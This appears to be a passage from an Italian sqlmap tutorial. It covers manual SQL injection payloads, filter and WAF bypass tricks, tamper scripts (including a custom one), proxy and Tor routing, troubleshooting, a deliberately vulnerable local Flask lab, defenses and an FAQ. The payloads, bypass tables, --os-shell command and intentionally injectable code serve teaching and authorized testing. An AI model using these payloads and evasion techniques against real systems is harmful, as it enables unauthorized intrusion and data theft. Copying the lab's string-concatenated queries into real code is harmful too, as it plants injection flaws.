SQLite 1 AND 1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))L’ultimo è quello che sqlmap ha trovato sul laboratorio: su SQLite non esiste uno sleep, quindi si costringe il motore a un lavoro pesante e si misura il tempo.
Per verificare a mano che sqlmap abbia ragione, riproduci un payload con curl:
curl -s -G "http://127.0.0.1:5000/product" --data-urlencode "id=-1 UNION SELECT NULL,GROUP_CONCAT(name),NULL FROM sqlite_master WHERE type='table'-- -"Fingerprint del DBMS a mano #
Prima di scegliere i payload devi sapere con chi parli. Le funzioni che dicono la versione sono diverse per ogni DBMS:
| DBMS | Versione | Test rapido |
|---|---|---|
| MySQL e MariaDB | @@version o version() | 1 AND @@version LIKE '10%' (testato) |
| SQLite | sqlite_version() | -1 UNION SELECT NULL,sqlite_version(),NULL (testato: 3.53.1) |
| PostgreSQL | version() | 1 AND 1=CAST(version() AS INT) |
| Microsoft SQL Server | @@version | 1 AND 1=CONVERT(INT,@@version) |
| Oracle | banner da v$version | 1 AND 1=(SELECT banner FROM v$version WHERE ROWNUM=1) |
Per confermare quello che pensi, usa le funzioni che esistono solo su un DBMS: se sqlite_version() risponde, è SQLite; se dà errore, no. sqlmap fa lo stesso con -f (fingerprint esteso).
Bypass manuali dei filtri #
Quando un filtro blocca una parola o un carattere, la query può quasi sempre essere riscritta in un altro modo. Questi bypass sono stati provati sul laboratorio SQLite (/product?id=) e su MariaDB:
| Cosa è bloccato | Alternativa | Provato su |
|---|---|---|
| Lo spazio | 1/**/AND/**/1=1, tab %09, a capo %0a, parentesi 1 AND(1)=(1) | SQLite |
Il segno = | 1 AND 1 LIKE 1, 1 AND 1 IN (1), 1 AND 1 BETWEEN 1 AND 1 | SQLite |
AND | 1 && 1=1 | MariaDB |
| Maiuscole e minuscole | UnIoN SeLeCt | SQLite |
| La virgola nella UNION | UNION SELECT * FROM (SELECT 1) JOIN (SELECT sqlite_version()) JOIN (SELECT 3) | SQLite |
La virgola in LIMIT | LIMIT 1 OFFSET 1 | SQLite, MariaDB |
La virgola in MID o SUBSTRING | MID(version() FROM 1 FOR 2) | MariaDB |
La parola UNION o SELECT | /*!50000UNION*/ /*!50000SELECT*/ (commenti con versione di MySQL) | MariaDB |
| Gli apici nelle stringhe | Concatenazione di stringhe adiacenti 'a' 'b' | MariaDB |
LIKE | RLIKE, NOT BETWEEN 0 AND 0 | MariaDB |
Per riprodurli con curl:
curl -s -G "http://127.0.0.1:5000/product" --data-urlencode $'id=1\tAND\t1=1'
curl -s -G "http://127.0.0.1:5000/product" --data-urlencode "id=1 AND 1 BETWEEN 1 AND 1"Sono gli stessi trucchi che sqlmap automatizza con i tamper space2comment, equaltolike, between, commalesslimit, commalessmid e versionedkeywords: conoscerli a mano ti serve per capire quale tamper scegliere.
Altre tecniche dalle raccolte di payload #
Queste voci vengono dalle raccolte pubbliche come PayloadsAllTheThings e HackTricks. Le ho aggiunte perché sono quelle che nei test reali ti capitano più spesso, ma non le ho provate tutte sul laboratorio.
- Polyglot. Un solo payload che rompe più contesti insieme, utile per un primo test su un punto di ingresso sconosciuto, per esempio
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/(MySQL). Non provato sul laboratorio. - Routed injection. Il risultato della prima query diventa l’input di una seconda: la UNION deve restituire una stringa che è a sua volta un payload.
- Authentication bypass con hash. Nei casi in cui la password viene confrontata dopo un
MD5(password, true), la stringaffifdyopproduce un hash che contiene'or'e porta al bypass. Funziona solo su quella costruzione PHP. - Out-of-band. Quando non c’è nessuna differenza visibile, il database manda il dato a un server tuo (richieste DNS o HTTP): funziona su SQL Server, Oracle e su pochi altri.
- PDO e query multiple. Con PDO le stacked queries possono funzionare anche su MySQL, a differenza di
mysqli: conviene sempre provare--technique=S.
Tamper script e WAF bypass con sqlmap #
Un Web Application Firewall (Il significato è: un filtro che blocca richieste sospette prima che arrivino all’applicazione) riconosce i payload di sqlmap. Nelle versioni recenti sqlmap controlla da solo la presenza di un WAF all’inizio del test (nel log vedi “checking if the target is protected by some kind of WAF/IPS”); con --skip-waf salti questo controllo. L’opzione --identify-waf, che trovi nelle vecchie guide, non esiste più.
I tamper script (sqlmap tamper scripts) sono piccoli programmi che riscrivono ogni payload prima di spedirlo. Si usano con --tamper, anche più di uno, separati da virgola:
# List every tamper script with its description
sqlmap --list-tampers
# Use more than one
sqlmap -u "http://127.0.0.1:5000/product?id=1" --tamper=space2comment,randomcase --batchPer vedere come viene trasformato il payload, aggiungi -v 3. Esempio reale con space2comment,randomcase:
[PAYLOAD] 1)/**/ANd/**/5164=5164/**/ANd/**/(2348=2348Gli spazi sono diventati /**/ e le lettere hanno maiuscole casuali. Con -v 3 vedi sempre quello che parte davvero.
I tamper script più usati #
Tutte le descrizioni vengono dall’elenco di sqlmap 1.10 (--list-tampers).
| Script | Cosa fa | Quando serve | ||
|---|---|---|---|---|
space2comment | Sostituisce lo spazio con /**/ | Filtri sugli spazi | ||
space2plus | Sostituisce lo spazio con + | Filtri sugli spazi | ||
space2dash | Spazio, --, stringa casuale e a capo | Filtri sugli spazi | ||
space2hash | MySQL: spazio, #, stringa casuale e a capo | Filtri sugli spazi su MySQL | ||
space2mysqlblank | MySQL: spazio con un carattere bianco alternativo | WAF che conoscono /**/ | ||
space2mssqlblank | MSSQL: spazio con un carattere bianco alternativo | Filtri su SQL Server | ||
space2randomblank | Spazio con un carattere bianco casuale | Filtri generici | ||
multiplespaces | Aggiunge più spazi attorno alle parole chiave | Regole basate su un solo spazio | ||
randomcase | Maiuscole e minuscole casuali nelle parole chiave | Filtri che distinguono il maiuscolo | ||
randomcomments | Commenti casuali dentro le parole chiave (S/**/E/**/LECT) | Filtri su parole chiave intere | ||
uppercase, lowercase | Parole chiave tutte maiuscole o minuscole | Filtri case-sensitive | ||
between | > diventa NOT BETWEEN 0 AND #, = diventa BETWEEN # AND # | Filtri sui confronti | ||
equaltolike | = diventa LIKE | Filtri sul segno uguale | ||
greatest | > diventa GREATEST | Filtri sul maggiore | ||
symboliclogical | AND e OR diventano && e ` | ` | Filtri su AND e OR | |
apostrophemask | ' diventa il suo equivalente UTF-8 a larghezza piena | Filtri sugli apici | ||
unmagicquotes | ' diventa %BF%27 più un commento | Escape con addslashes e charset GBK | ||
escapequotes | Apici preceduti da backslash | Filtri che de-escapano | ||
charencode | URL-encode di tutti i caratteri | Filtri su stringhe in chiaro | ||
chardoubleencode | Doppio URL-encode | Applicazioni che decodificano due volte | ||
charunicodeencode | Encode Unicode nel formato %u0053 | Server ASP e IIS | ||
overlongutf8 | UTF-8 “overlong” per i caratteri non alfanumerici | Filtri con parser UTF-8 debole | ||
percentage | Mette % davanti a ogni carattere | Server IIS e ASP | ||
base64encode | Codifica tutto il payload in Base64 | Parametri che arrivano già in Base64 | ||
versionedkeywords | MySQL: parole chiave dentro commenti con versione | WAF che non leggono /*!...*/ | ||
versionedmorekeywords | MySQL: ogni parola chiave in un commento con versione | Come sopra, più aggressivo | ||
modsecurityversioned | MySQL: tutta la query in un commento con versione | ModSecurity | ||
modsecurityzeroversioned | MySQL: tutta la query in un commento con versione zero | ModSecurity | ||
informationschemacomment | MySQL: commento dopo information_schema | Filtri su information_schema | ||
commalesslimit | MySQL: LIMIT M,N diventa LIMIT N OFFSET M | Filtri sulla virgola | ||
commalessmid | MySQL: MID(A,B,C) diventa MID(A FROM B FOR C) | Filtri sulla virgola | ||
sleep2getlock | SLEEP(5) diventa GET_LOCK | Filtri sulla funzione SLEEP | ||
unionalltounion | UNION ALL SELECT diventa UNION SELECT | Filtri su UNION ALL | ||
0eunion, dunion, misunion | Alterano il numero prima di UNION | Filtri su UNION | ||
plus2concat | MSSQL: + diventa CONCAT() | Filtri sul segno più | ||
sp_password | MSSQL: aggiunge sp_password per nascondere la query nei log | Evitare i log di SQL Server | ||
xforwardedfor | Aggiunge un header X-Forwarded-For finto | Filtri e blocchi per IP | ||
varnish | Aggiunge X-originating-IP | Varnish | ||
bluecoat | Spazio con un blank casuale, = diventa LIKE | Blue Coat |
Qualche combinazione che funziona spesso come punto di partenza:
# Generic MySQL behind a signature-based WAF
sqlmap -u "http://192.168.56.20/product.php?id=5" --dbms=mysql --tamper=between,randomcase,space2comment --random-agent --batch
# ModSecurity in front of MySQL
sqlmap -u "http://192.168.56.20/product.php?id=5" --dbms=mysql --tamper=modsecurityversioned,space2mysqlblank --batch
# SQL Server on IIS
sqlmap -u "http://192.168.56.30/item.aspx?id=4" --dbms=mssql --tamper=space2mssqlblank,percentage --batchNon esiste una combinazione magica: si prova, si guarda con -v 3 cosa viene bloccato e si cambia script. Se il sito è dietro Cloudflare o un WAF gestito, nessun tamper garantisce nulla: contano la lentezza, un User-Agent credibile e spesso trovare l’IP vero del server.
Scrivere un tamper script personalizzato #
Quando nessuno dei tamper esistenti basta, ne scrivi uno tuo: è un file Python con una funzione tamper che riceve il payload e lo restituisce modificato. Questo, provato sul laboratorio, sostituisce gli spazi dentro UNION ALL SELECT con degli a capo:
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces the spaces inside UNION ALL SELECT with newline characters
"""
if payload:
payload = payload.replace("UNION ALL SELECT", "UNION\nALL\nSELECT")
return payloadSalvalo come newline_union.py in una cartella che contiene anche un file vuoto __init__.py: senza quel file sqlmap risponde “make sure that there is an empty file __init__.py inside of tamper scripts directory”. Poi:
sqlmap -u "http://127.0.0.1:5000/product?id=1" --tamper=/home/kali/tamp/newline_union.py --technique=U --dbms=sqlite --batch -v 3Con -v 3 vedi che il payload parte già trasformato:
[INFO] loading tamper module 'newline_union'
[PAYLOAD] 1 UNION\nALL\nSELECT NULL,CHAR(113,98,...)||CHAR(...)||CHAR(113,122,118,112,113),NULL-- iWAa(Il \n che vedi è il modo in cui il log mostra l’a capo.)
Modificare le richieste al volo con –eval #
L’opzione --eval esegue una riga di Python prima di ogni richiesta: serve per ricalcolare un campo, per esempio una firma o un hash che dipende dagli altri parametri. Nelle versioni recenti sqlmap la blocca per sicurezza (perché esegue codice sul tuo computer) e, se la usi senza il consenso esplicito, si ferma con un errore. La variabile d’ambiente da impostare è descritta nell’help del tool: leggi bene cosa fa prima di attivarla e usala solo con stringhe scritte da te. In questo articolo non ho potuto provare il caso in cui --eval riesce, quindi non ti do un esempio completo.
Evasione: rate limit, user agent e rete #
sqlmap -u "http://192.168.56.20/product.php?id=5" --random-agent --delay=2 --timeout=30 --retries=3 --batch--random-agentcambiaUser-Agent, perché molti WAF bloccano quello di default di sqlmap.--delay=2aspetta due secondi tra le richieste (aggira i rate limit, rallenta tutto).--timeoute--retriesevitano falsi errori su server lenti.--tamper=xforwardedforaiuta quando il blocco è per indirizzo IP.
sqlmap con proxy, Tor e SOCKS #
Sqlmap può passare da un proxy HTTP (Burp, mitmproxy), da un proxy SOCKS o da Tor:
# Through Burp
sqlmap -u "http://127.0.0.1:5000/product?id=1" --proxy="http://127.0.0.1:8080" --batch
# Through a SOCKS proxy (for example an SSH dynamic tunnel)
sqlmap -u "http://192.168.56.20/product.php?id=5" --proxy="socks5://127.0.0.1:1080" --batch
# Through Tor, checking that Tor works
sqlmap -u "http://192.168.56.20/product.php?id=5" --tor --tor-type=SOCKS5 --check-tor --batch
# Rotate a list of proxies
sqlmap -u "http://192.168.56.20/product.php?id=5" --proxy-file=proxies.txt --batch
# Save all traffic in a HAR file for the report
sqlmap -u "http://127.0.0.1:5000/product?id=1" --har=traffic.har --batchSe il bersaglio è dietro un pivot, passa dal tunnel: con Proxychains
puoi lanciare proxychains4 -q sqlmap -u ... --batch, oppure usa direttamente --proxy come sopra. Per costruire il tunnel leggi pivoting
e Chisel
. Tor è lento e molti siti lo bloccano: per un pentest serio è raro che serva.
Level e risk di sqlmap #
Sono le due manopole che decidono quanto sqlmap è curioso (level) e quanto è pericoloso (risk).
# Default: quick and quiet
sqlmap -u "http://127.0.0.1:5000/product?id=1" --level=1 --risk=1 --batch
# Maximum coverage
sqlmap -u "http://127.0.0.1:5000/product?id=1" --level=5 --risk=3 --batch--level(da 1 a 5) aumenta i punti dove provare: cookie,User-Agent,Referer,Host(vedi la tabella dei livelli sopra) e il numero di payload provati per ciascuno.--risk(da 1 a 3) aumenta il tipo di test: al livello 2 si aggiungono le query pesanti basate sul tempo, al livello 3 i test conOR.
Attenzione al risk=3: un payload con OR dentro una query UPDATE o DELETE può modificare o cancellare dati reali. Per questo il default è 1. Su un database di produzione resta su --risk=1, e se devi alzarlo fallo solo con l’accordo scritto del cliente.
Altre opzioni per velocizzare e per ridurre il rumore:
# Parallel requests (not with time-based)
sqlmap -u "http://127.0.0.1:5000/product?id=1" --technique=U --threads=10 --batch
# Do thorough tests only when a heuristic test is positive
sqlmap -u "http://127.0.0.1:5000/product?id=1" --smart --batch
# Skip parameters that don't look dynamic
sqlmap -u "http://127.0.0.1:5000/product?id=1" --skip-static --batch
# Show the estimated time of arrival for each value
sqlmap -u "http://127.0.0.1:5000/product?id=1" -T users --dump --eta --batchSessione, output e ripresa del lavoro #
Sqlmap salva ogni cosa che scopre in un file di sessione. Se rilanci lo stesso comando, riprende da dove aveva finito e non rifà richieste: vedi nel log “resuming” e le risposte arrivano subito.
# Where the output goes (change it with --output-dir)
sqlmap -u "http://127.0.0.1:5000/product?id=1" --output-dir=/home/kali/results --batch
# Delete the saved session and start again
sqlmap -u "http://127.0.0.1:5000/product?id=1" --flush-session --batch
# Ask the target again instead of using saved results
sqlmap -u "http://127.0.0.1:5000/product?id=1" --fresh-queries --batchDentro la cartella di output, una sottocartella per ogni host contiene:
| File o cartella | Contenuto |
|---|---|
log | Le injection trovate, con tipo e payload |
session.sqlite | Tutto quello che sqlmap ha già scoperto (la sessione) |
target.txt | Il comando e la richiesta usati |
dump/ | I dati estratti con --dump, un file per tabella |
files/ | I file letti dal server con --file-read |
Verbosità. -v 0 mostra solo gli errori gravi, -v 1 (default) i messaggi normali, -v 2 anche i debug, -v 3 i payload, -v 4 le richieste HTTP, -v 5 anche le intestazioni delle risposte e -v 6 le risposte complete. Per il report e per capire cosa sta succedendo, -v 3 è quasi sempre quello giusto.
Se cambi le opzioni e il risultato non cambia, quasi sempre è la sessione salvata: usa --flush-session. Per cancellare i dati lasciati sul tuo computer a fine incarico: sqlmap --purge.
Troubleshooting: quando sqlmap non trova niente #
“All tested parameters do not appear to be injectable” #
Non vuol dire che il parametro è sicuro. Controlla in quest’ordine:
- Sei nello stato giusto? Per una
boolean-basedla pagina di partenza deve poter cambiare: usa credenziali valide o un id esistente. - Hai alzato
--levele--risk? Il time-based con query pesanti richiede--risk=2. - Il punto di ingresso è nel cookie o in un header? Serve
--level=2o--level=3. - C’è un WAF? Prova
--tampere--random-agent. - Il contesto della query è insolito? Dai tu i confini con
--prefixe--suffix:
sqlmap -u "http://127.0.0.1:5000/product?id=1" --prefix="'))" --suffix="-- -" --batchFalsi positivi e confronto delle pagine #
Se sqlmap non capisce la differenza tra pagina vera e pagina falsa, aiutalo:
# A string that appears only in the "true" page
sqlmap -u "http://127.0.0.1:5000/login" --data="username=admin&password=5f4dcc3b5aa765d61d8327deb882cf99" --string="Login successful" --batch
# A string that appears only in the "false" page
sqlmap -u "http://127.0.0.1:5000/login" --data="username=admin&password=x" --not-string="Wrong credentials" --batch
# Compare only the HTTP status code, or only the text without HTML tags
sqlmap -u "http://127.0.0.1:5000/product?id=1" --code=200 --batch
sqlmap -u "http://127.0.0.1:5000/product?id=1" --text-only --batchSe la pagina cambia a ogni richiesta (banner, ora, pubblicità) prova --text-only o --titles.
Errori HTTP e timeout #
Un 500 durante i test è normale: sqlmap rompe apposta la query. Quando invece blocca il lavoro:
# Ignore a problematic HTTP error code
sqlmap -u "http://127.0.0.1:5000/product?id=1" --ignore-code=401 --batch
# Slow server: more time, more retries, a pause between requests
sqlmap -u "http://127.0.0.1:5000/product?id=1" --timeout=60 --retries=5 --delay=2 --batch
# The application kills the session after a few errors
sqlmap -u "http://127.0.0.1:5000/product?id=1" --safe-url="http://127.0.0.1:5000/" --safe-freq=3 --batchCaratteri strani e dati sbagliati #
# Retrieve data in hexadecimal to avoid encoding problems
sqlmap -u "http://127.0.0.1:5000/product?id=1" -T users --dump --hex --batch
# Show the SQL errors the application leaks
sqlmap -u "http://127.0.0.1:5000/product?id=1" --parse-errors --batch
# Redo only the entries that came out with "?" characters
sqlmap -u "http://127.0.0.1:5000/product?id=1" -T users --dump --repair --batchPer capire che cosa sta succedendo davvero, alza la verbosità: -v 3 mostra i payload, -v 4 le richieste HTTP e -v 6 anche le risposte.
Laboratorio sqlmap locale #
Se cerchi siti vulnerabili su cui esercitarti con sqlmap, non attaccare siti a caso: usa un laboratorio tuo. Questo è il laboratorio che ho usato per i comandi con 127.0.0.1:5000: una piccola applicazione Flask con SQLite, vulnerabile apposta. Ascolta solo su 127.0.0.1, quindi non è raggiungibile da fuori.
Prepara l’ambiente:
mkdir sqlmaplab && cd sqlmaplab
pip install flask sqlmapCrea il file vulnerable_lab.py:
import sqlite3
from urllib.parse import unquote
from flask import Flask, request, jsonify
app = Flask(__name__)
DB_PATH = "shop.db"
def init_database():
conn = sqlite3.connect(DB_PATH)
cur = conn.cursor()
cur.executescript(
"""
DROP TABLE IF EXISTS users;
DROP TABLE IF EXISTS products;
DROP TABLE IF EXISTS bios;
CREATE TABLE bios (username TEXT PRIMARY KEY, bio TEXT);
CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT, password TEXT, role TEXT);
CREATE TABLE products (id INTEGER PRIMARY KEY, name TEXT, price REAL);
INSERT INTO users VALUES (1, 'admin', '5f4dcc3b5aa765d61d8327deb882cf99', 'admin');
INSERT INTO users VALUES (2, 'mario', 'e10adc3949ba59abbe56e057f20f883e', 'user');
INSERT INTO users VALUES (3, 'sara', '25d55ad283aa400af464c76d713c07ad', 'user');
INSERT INTO products VALUES (1, 'Keyboard', 29.90);
INSERT INTO products VALUES (2, 'Mouse', 14.50);
INSERT INTO products VALUES (3, 'Monitor', 159.00);
"""
)
conn.commit()
conn.close()
def run_query(query):
conn = sqlite3.connect(DB_PATH)
try:
return conn.execute(query).fetchall()
finally:
conn.close()
@app.route("/product")
def product_get():
# Vulnerable on purpose: GET parameter concatenated into the query
identifier = request.args.get("id", "1")
try:
rows = run_query(
"SELECT id, name, price FROM products WHERE id = " + identifier
)
except Exception as error:
return "SQL error: " + str(error), 500
if not rows:
return "No product", 200
return "<br>".join(f"{r[0]} - {r[1]} - {r[2]}" for r in rows)
@app.route("/login", methods=["POST"])
def login_post():
# Vulnerable on purpose: POST parameters concatenated into the query
username = request.form.get("username", "")
password = request.form.get("password", "")
try:
rows = run_query(
"SELECT id FROM users WHERE username = '"
+ username
+ "' AND password = '"
+ password
+ "'"
)
except Exception as error:
return "SQL error: " + str(error), 500
return "Login successful" if rows else "Wrong credentials"
@app.route("/profile")
def profile_cookie():
# Vulnerable on purpose: cookie value concatenated into the query
identifier = unquote(request.cookies.get("user_id", "1"))
try:
rows = run_query(
"SELECT username FROM users WHERE id = " + identifier
)
except Exception as error:
return "SQL error: " + str(error), 500
return rows[0][0] if rows else "Unknown user"
@app.route("/api/search", methods=["POST"])
def search_json():
# Vulnerable on purpose: JSON field concatenated into the query
body = request.get_json(silent=True) or {}
name = str(body.get("name", ""))
try:
rows = run_query(
"SELECT id, name FROM products WHERE name = '" + name + "'"
)
except Exception as error:
return jsonify({"error": str(error)}), 500
return jsonify({"results": [{"id": r[0], "name": r[1]} for r in rows]})
@app.route("/delayed-search")
def blind_search():
# Vulnerable on purpose, but the response never changes: only time-based works
term = request.args.get("q", "")
try:
run_query("SELECT id FROM products WHERE name = '" + term + "'")
except Exception:
pass
return "Search completed", 200
@app.route("/register", methods=["POST"])
def register_user():
# Safe on purpose: the bio is stored with a parameterized query
username = request.form.get("username", "")
bio = request.form.get("bio", "")
conn = sqlite3.connect(DB_PATH)
conn.execute("INSERT OR REPLACE INTO bios VALUES (?, ?)", (username, bio))
conn.commit()
conn.close()
return "Registered", 200
@app.route("/welcome")
def welcome_user():
# Vulnerable on purpose (second order): the stored bio is concatenated later
username = request.args.get("user", "")
stored = run_query(
"SELECT bio FROM bios WHERE username = '" + username.replace("'", "''") + "'"
)
if not stored:
return "Unknown user", 404
try:
rows = run_query(
"SELECT id, name FROM products WHERE name = '" + stored[0][0] + "'"
)
except Exception as error:
return "SQL error: " + str(error), 500
return "<br>".join(f"{r[0]} - {r[1]}" for r in rows) or "No matches"
if __name__ == "__main__":
init_database()
app.run(host="127.0.0.1", port=5000)Avvialo:
python3 vulnerable_lab.pyIn un altro terminale controlla che risponda:
curl -s "http://127.0.0.1:5000/product?id=1"Deve restituire 1 - Keyboard - 29.9. A questo punto ogni comando della guida con 127.0.0.1:5000 funziona così com’è. Gli endpoint sono sette, uno per tipo di punto di ingresso:
| Endpoint | Punto di ingresso | Comando da provare |
|---|---|---|
/product?id=1 | Parametro GET numerico | sqlmap -u "http://127.0.0.1:5000/product?id=1" --batch |
/login | Campo POST con stringa | sqlmap -u "http://127.0.0.1:5000/login" --data="username=admin&password=5f4dcc3b5aa765d61d8327deb882cf99" -p username --technique=B --batch |
/profile | Cookie | sqlmap -u "http://127.0.0.1:5000/profile" --cookie="user_id=1" --level=2 --batch |
/api/search | Campo JSON | sqlmap -u "http://127.0.0.1:5000/api/search" --data='{"name":"Mouse*"}' --headers="Content-Type: application/json" --technique=B --batch |
/delayed-search?q=Mouse | Blind puro, solo tempo | sqlmap -u "http://127.0.0.1:5000/delayed-search?q=Mouse" --technique=T --level=3 --risk=2 --time-sec=2 --batch |
/register e /welcome?user=mario | Second-order: salvi bio adesso, la query si rompe dopo | sqlmap -u "http://127.0.0.1:5000/register" --data="username=mario&bio=Mouse" -p bio --second-url="http://127.0.0.1:5000/welcome?user=mario" --technique=B --dbms=sqlite --batch |
Esercizi, in ordine di difficoltà: trova la tecnica più veloce per /product e confrontala con le altre, estrai gli utenti con --dump e confronta gli hash che sqlmap cracca con quelli che crackeresti con Hashcat
, riproduci a mano con curl il payload UNION che sqlmap ha usato, e infine metti -v 3 per vedere ogni payload che parte. Quando hai finito, ferma l’applicazione con Ctrl+C e cancella la cartella.
Alternative a sqlmap #
Sqlmap non è l’unico modo di testare una SQL injection, e in un pentest serio non è nemmeno il primo:
| Strumento | Quando ha senso |
|---|---|
| Test manuale con Burp Suite | Sempre il primo passo: capisci il contesto della query e fai pochissime richieste |
| Ghauri | Alternativa a riga di comando per SQL injection, utile come secondo parere quando sqlmap non trova nulla |
| jSQL Injection | Strumento con interfaccia grafica scritto in Java |
| NoSQLMap | Per le NoSQL injection (MongoDB e simili): sqlmap non le copre |
| Scanner di Burp Suite Professional | Per una scansione automatica insieme al resto della web app |
Se l’obiettivo è imparare, usa sqlmap per vedere cosa succede e poi riproduci i payload a mano: è il modo più veloce per capire davvero la SQL injection.
Come difendersi dalle SQL injection (e da sqlmap) #
Sqlmap non è magico: trova solo quello che la tua applicazione lascia aperto. Le difese che contano, in ordine di importanza:
- Query parametrizzate sempre. Mai concatenare input dell’utente dentro una query: né parametri GET e POST, né cookie, né header, né campi JSON. Nel laboratorio ogni endpoint concatena una stringa; con una query parametrizzata nessuno dei comandi di questa guida avrebbe funzionato. In Python con SQLite:
conn.execute("SELECT id, name, price FROM products WHERE id = ?", (identifier,)). - Validazione dei tipi. Se un parametro è un numero, convertilo in numero prima di usarlo. Un
idche non è un intero va scartato con un errore 400. - Privilegi minimi per l’utente del database. L’applicazione non deve essere
root,saopostgres. SenzaFILE, senzaxp_cmdshell, senza ruoli di amministratore, anche una injection riuscita non arriva al sistema operativo. Controlla con--is-dbae--privilegescome farebbe un attaccante. - Niente errori SQL in chiaro. Mostra all’utente un messaggio generico e scrivi i dettagli nei log: gli errori sono la strada più comoda per l’
error-based. - Gli ORM non bastano. Anche con un ORM, un
order byo un filtro costruito con una stringa può essere vulnerabile: leggi SQL injection negli ORM . - WAF come strato in più, non come soluzione. Il WAF rallenta sqlmap, ma i tamper script esistono proprio per aggirarlo. Corregge il codice, non il sintomo.
- Monitoraggio. Sqlmap lascia tracce evidenti: centinaia di richieste in pochi secondi sullo stesso parametro, apici e parole come
UNION SELECT,SLEEPeWAITFORnei log, unUser-Agentche contiene “sqlmap”, errori SQL a raffica. Allarmi su questi segnali e rate limit per IP riducono molto la finestra di un attaccante. - Backup e cifratura dei dati sensibili. Per le password usa hash lenti con salt (bcrypt, scrypt, Argon2): gli MD5 del laboratorio si craccano in un secondo, e proprio questo è quello che sqlmap fa da solo.
- Testa tu per primo. Lancia sqlmap sulle tue applicazioni in un ambiente di test prima che lo faccia qualcun altro, e rifallo dopo ogni modifica importante.
Domande frequenti su sqlmap #
Cos’è sqlmap? È un tool open source in Python che automatizza il rilevamento e lo sfruttamento delle SQL injection: trova il parametro vulnerabile, riconosce il database, estrae i dati e, con i privilegi giusti, può leggere file ed eseguire comandi sul server.
Come si usa sqlmap?
Il comando minimo è sqlmap -u "http://example.test/page.php?id=1" --batch. Poi, in ordine: --dbs per i database, -D db --tables per le tabelle, -D db -T users --columns per le colonne e -D db -T users --dump per i dati. Per richieste complesse salva la richiesta da Burp Suite
e usa -r request.txt.
Dove scarico sqlmap? C’è un sqlmap download ufficiale?
Il download ufficiale è il repository su GitHub, https://github.com/sqlmapproject/sqlmap
: clona con git clone --depth 1 oppure scarica lo zip. Su Kali e Ubuntu puoi usare sudo apt install sqlmap, e con pip install sqlmap lo prendi da PyPI.
Sqlmap funziona su Windows?
Sì. Installa Python 3 e Git, clona il repository e lancia python sqlmap.py. Funziona anche su Windows 7 con Python 3.8, anche se è un sistema non più supportato.
Si può usare sqlmap da telefono?
Su Android con Termux sì: installi Python e Git e lanci python sqlmap.py dal repository. È utile per provare qualcosa in movimento, ma per un test vero lavora da un computer.
Sqlmap è legale? Lo strumento è legale; usarlo su un sistema senza autorizzazione no. In Italia l’accesso abusivo a un sistema informatico è reato (articolo 615-ter del codice penale). Usalo su laboratori tuoi, su piattaforme come Hack The Box e TryHackMe, in bug bounty con scope che lo permette e in penetration test con contratto.
Che differenza c’è tra --level e --risk?
--level decide quanti punti di ingresso e quanti payload provare (cookie, header, e così via). --risk decide quanto sono pericolosi i test: al 2 si aggiungono le query pesanti, al 3 i test con OR, che su un UPDATE o un DELETE possono modificare dati reali.
Come uso sqlmap con i cookie?
Passa il cookie con --cookie="name=value" e alza il livello a 2 o più: sqlmap -u "http://127.0.0.1:5000/profile" --cookie="user_id=1" --level=2 --batch. A livello 1 i cookie non vengono testati.
Cosa sono i tamper script e come si usano?
Sono script che riscrivono i payload prima di mandarli, per aggirare filtri e WAF: --tamper=space2comment,randomcase. Vedi tutti quelli disponibili con sqlmap --list-tampers e il risultato di ciascuno con -v 3.
Sqlmap può bypassare qualsiasi WAF?
No. I tamper script funzionano contro filtri semplici e regole basate su firme. Un WAF gestito o con rilevamento comportamentale può bloccare sqlmap lo stesso: contano la velocità bassa, un User-Agent credibile e il test manuale.
Come faccio una SQL injection blind con sqlmap?
Sqlmap la gestisce da solo con le tecniche boolean-based e time-based. Se la pagina non mostra differenze usa --technique=T --level=3 --risk=2 (aggiungendo --time-sec=2 per fare prima). Funziona anche su un tutorial blind come quello del laboratorio, ma è lento: ogni carattere richiede più richieste.
Esiste un tutorial sqlmap in PDF? Sì: salva questa pagina in PDF dal browser (stampa, “Salva come PDF”) e hai la guida con tutti i comandi sempre a portata di mano. La documentazione ufficiale è nel wiki del progetto su GitHub.
Sqlmap funziona con Microsoft SQL Server?
Sì, ed è uno dei DBMS meglio supportati: sqlmap -u "http://192.168.56.30/item.aspx?id=4" --dbms=mssql --os-shell --batch può riattivare xp_cmdshell se l’utente è amministratore. I dettagli sono in SQL injection su MSSQL
.
Perché sqlmap dice che il parametro non è vulnerabile? Spesso perché i test non arrivano al punto giusto: livello e rischio troppo bassi, punto di ingresso nel cookie o in un header, pagina di partenza nello stato “falso”, WAF. Rivedi la sezione di troubleshooting qui sopra prima di concludere che il parametro è sicuro.
Cos’è una cheat sheet di sqlmap e dove la trovo?
È l’elenco dei comandi che usi ogni giorno. In questa guida la trovi nella tabella dei comandi
e nella cheat sheet per categoria
. Per l’elenco completo usa sqlmap -hh.
Qual è la differenza tra sqlmap e Burp Suite?
Burp serve a vedere e modificare le richieste, e per il test manuale. Sqlmap automatizza il rilevamento e lo sfruttamento. Si usano insieme: salvi la richiesta da Burp e la dai a sqlmap con -r.
Come testo più URL con sqlmap?
Metti un URL per riga in un file e lancia sqlmap -m targets.txt --batch. Con --results-file salvi l’elenco dei risultati in un CSV.
Come salvo l’output di sqlmap?
Sqlmap salva già tutto: log, sessione e dump sono in ~/.local/share/sqlmap/output/<host>/. Con --output-dir scegli un’altra cartella, con --dump-format il formato dei dati (CSV, HTML, SQLITE, JSONL).
Perché --os-shell non funziona?
Quasi sempre manca uno di questi requisiti: l’utente del database non è amministratore, il DBMS è SQLite, le stacked queries non sono accettate, la cartella web non è scrivibile o sqlmap non conosce il percorso della web root. Controlla prima con --is-dba e --privileges.
Come uso sqlmap con un token CSRF?
Con --csrf-token (il nome del campo) e --csrf-url (la pagina dove leggere il token nuovo). Un esempio è nella sezione sui token CSRF.
Cos’è la second-order injection?
È un’injection in cui il payload viene salvato adesso e usato dopo, in un’altra pagina. Con sqlmap si dice dove guardare con --second-url: l’esempio funzionante è nel laboratorio.
Quanto è affidabile --eval?
Serve a ricalcolare un campo prima di ogni richiesta, ma esegue codice Python e per questo è bloccata di default. Non l’ho potuta provare fino al successo: segui l’help ufficiale.
